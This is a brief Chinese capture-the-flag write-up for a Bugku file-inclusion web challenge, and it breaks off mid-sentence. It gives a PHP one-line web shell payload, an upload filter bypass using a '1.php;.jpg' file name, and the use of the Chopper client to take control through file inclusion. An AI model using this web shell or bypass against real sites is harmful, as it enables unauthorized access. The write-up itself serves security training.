Bugku ctf writeup--web篇-文件包含2

Step1:查看源码 发现注释文件upload.php,访问下来到文件上传页面 Step2:上传一句话 普通一句话会被过滤,这里构造<?=eval($_POST['shell']);> 保存文件修改后缀为1.php;.jpg,成功上传 根据提示是文件包含,直接访问文件路径无效,菜刀无法连接 包含文件进行访问是空白页面,再进行菜刀连接 Step3:上菜刀 发现一个文件名很长的txt文件,打开就是fl
相关文章
相关标签/搜索